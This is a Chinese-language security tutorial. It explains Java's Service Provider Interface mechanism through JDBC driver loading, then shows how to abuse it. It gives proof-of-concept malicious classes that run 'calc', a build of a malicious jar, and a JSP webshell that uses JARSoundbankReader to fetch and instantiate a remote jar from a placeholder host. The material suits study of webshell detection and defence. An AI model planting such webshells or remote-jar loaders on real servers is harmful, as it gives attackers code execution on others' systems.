前言
最近在翻阅yzddmr6师傅博客的时候,发现师傅还有个github的地址
https://github.com/yzddmr6/MyPresentations
里面发现师傅去补天白帽子大会上讲解了一些webshell的攻防,特此进行了学习,然后发现了一个很有意思的webshell,不得不说yzddmr6师傅真的tql了,对spi机制又更了解了一点
因为可能刚入门webshell的可能对文章看不懂,因此一些基础知识点也会进行讲解
SPI机制的利用
SPI机制
什么是SPI机制呢?
拼出来就是Service Provider Interface,是JDK内置的一种服务提供发现机制
其实这样讲是理解不到的,说人话就是它会加载你
META-INF/services中的配置文件中指定实现接口的类
比如我们的JDBC,下面会举例子,这里不详细讲了
SPI核心方法和类
Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:
① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
load(Class<s> service):静态方法,用于加载实现了指定接口的服务提供者。
iterator():返回一个迭代器,用于遍历加载的服务提供者实例。</s>
<s>
② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
hasNext():判断是否还有下一个元素。
next():返回下一个元素。
③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
AbstractProvider:用于创建服务提供者的抽象类。
ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。
④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。
JDBC中的SPI
首先我们思考一下为什么JDBC中需要我们的SPI机制呢?
那就是涉及到我们JDBC连接数据库的操作了
JDBC连接数据库
必不可少的一步就是加载数据库驱动,它来完成我们的连接操作,一般是使用Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序
基本的流程是
1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。
2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。
3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。
4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。
5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。
下面举个例子
package MYSQL;import javax.xml.transform.Result;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;public class JDBC_Connection_example {public static void main(String[] args) throws Exception{Properties properties=new Properties();properties.setProperty("user","root");properties.setProperty("password","123456");String URL = "jdbc:mysql://127.0.0.1:3306/security";DriverManager.registerDriver(new com.mysql.jdbc.Driver());Connection connection=DriverManager.getConnection(URL,properties);Statement statement=connection.createStatement();String sql="select * from users";ResultSet result=statement.executeQuery(sql);int columnCount = result.getMetaData().getColumnCount();// 打印查询结果while (result.next()) {for (int i = 1; i <= columnCount; i++) {// 通过列索引获取列值,并打印System.out.print(result.getString(i) + "\t");}System.out.println();}result.close();statement.close();connection.close();}
}
为什么JDBC要有SPI
- 动态加载驱动
通过 SPI 机制,JDBC 驱动可以在运行时动态加载,而不需要在代码中硬编码驱动类名。这样可以使代码更加灵活和可扩展。
在没有 SPI 机制之前,开发者需要显式地注册驱动:
Class.forName("com.mysql.cj.jdbc.Driver");
有了 SPI 机制之后,驱动可以通过 DriverManager
自动加载:
Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/db", "user", "password");
- 提高可插拔性
SPI 机制使得 JDBC 驱动具有高度的可插拔性,用户可以轻松更换或添加新的数据库驱动而不需要修改现有代码。这对于支持多种数据库的应用程序非常重要。
- 简化配置
应用程序不需要显式地配置和管理 JDBC 驱动,只需要确保驱动 JAR 文件在类路径中,SPI 机制会自动发现和加载这些驱动。这大大简化了应用程序的配置和部署过程。
- 支持多种实现
通过 SPI 机制,不同的数据库供应商可以提供自己的 JDBC 驱动实现,而应用程序可以通过统一的 JDBC API 访问不同的数据库。这样,应用程序代码不需要依赖于具体的数据库实现,可以更加通用和灵活。
SPI机制实现分析
JDBC连接会实例化DriverManager.registerDriver(new com.mysql.jdbc.Driver());
然后我们看到这个类的静态代码
static {try {DriverManager.registerDriver(new Driver());} catch (SQLException var1) {throw new RuntimeException("Can't register driver!");}}
会调用DriverManager
类的registerDriver
方法,因此JVM又会去加载DriverManager
类,加载过程中DriverManager
的静态代码块被执行
我们看到它的代码
调用loadInitialDrivers();加载初始程序
内部调用doPrivileged,这个方法会实例化 SPI 机制的核心类然后调用load去实现spi机制
获取当前类加载器去加载
最后会来到hasNextService去加载
实现SPI的恶意利用
简单示例
那这样说我们是不是只需要在配置文件中如果能够有我们的恶意类,并且实现我们的Driver接口就可以恶意利用
创建一个恶意类
package MYSQL;import com.mysql.jdbc.Driver;import java.io.IOException;
import java.sql.SQLException;public class calc extends Driver {static {Runtime runtime=Runtime.getRuntime();try {runtime.exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}public calc() throws SQLException {}
}
配置文件写上
运行我们jdbc连接
发现弹出计算器
JARSoundbankReader类webshell利用
方法分析
我们跟进它的getSoundbank方法
public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {if (!isZIP(var1)) {return null;} else {ArrayList var2 = new ArrayList();URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");if (var4 == null) {return null;} else {try {BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {if (!var6.startsWith("#")) {try {Class var7 = Class.forName(var6.trim(), false, var3);if (Soundbank.class.isAssignableFrom(var7)) {Object var8 = ReflectUtil.newInstance(var7);var2.add((Soundbank)var8);}} catch (ClassNotFoundException var14) {} catch (InstantiationException var15) {} catch (IllegalAccessException var16) {}}}} finally {var4.close();}if (var2.size() == 0) {return null;} else if (var2.size() == 1) {return (Soundbank)var2.get(0);} else {SimpleSoundbank var18 = new SimpleSoundbank();Iterator var19 = var2.iterator();while(var19.hasNext()) {Soundbank var20 = (Soundbank)var19.next();var18.addAllInstruments(var20);}return var18;}}}
}
首先检查是否为 ZIP 文件,然后创建一个 URLClassLoader
来加载 ZIP 文件的资源,并尝试从其中获取 META-INF/services/javax.sound.midi.Soundbank
文件的输入流。
通过输入流读取配置文件中的内容,逐行解析每个类名。其实恶意构造只需要一个类
- 使用
Class.forName
动态加载类。 - 检查该类是否实现了
Soundbank
接口。
所以我们构造的恶意类需要实现Soundbank接口
我们现在来构造恶意类
根据上面的SPI恶意利用的原理,我们可以使用类似的方法去制作恶意的jar包
jar包制作
目录结构如下
然后因为是加载javax.sound.midi.Soundbank中的类
我们在这个文件写入
写入你自己的恶意类的包名
nn0nkey.Evil
恶意类构造
恶意类需要实现Soundbank接口,就需要重写它的方法
然后在其中注入恶意代码
POC如下
package nn0nkey;import javax.sound.midi.Instrument;
import javax.sound.midi.Patch;
import javax.sound.midi.Soundbank;
import javax.sound.midi.SoundbankResource;
import java.io.IOException;public class Evil implements Soundbank {public Evil(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}@Overridepublic String getName() {return null;}@Overridepublic String getVersion() {return null;}@Overridepublic String getVendor() {return null;}@Overridepublic String getDescription() {return null;}@Overridepublic SoundbankResource[] getResources() {return new SoundbankResource[0];}@Overridepublic Instrument[] getInstruments() {return new Instrument[0];}@Overridepublic Instrument getInstrument(Patch patch) {return null;}
}
然后运行命令构造jar包
```bash
javac src/nn0nkey/Evil.java
jar -cvf Evil.jar -C src/ .
```
本地测试
然后把我们的jar包放到服务器上,然后去访问
import com.sun.media.sound.JARSoundbankReader;
import java.net.URL;public class text {public static void main(String[] args) throws Exception {JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();URL url=new URL("http://ip/Evil.jar");jarSoundbankReader.getSoundbank(url);}
}
运行弹出计算器
构造webshell
<%@ page import="com.sun.media.sound.JARSoundbankReader" %>
<%@ page import="java.net.URL" %>
<%JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();URL url=new URL("http://ip/Evil.jar");jarSoundbankReader.getSoundbank(url);
%>
</s>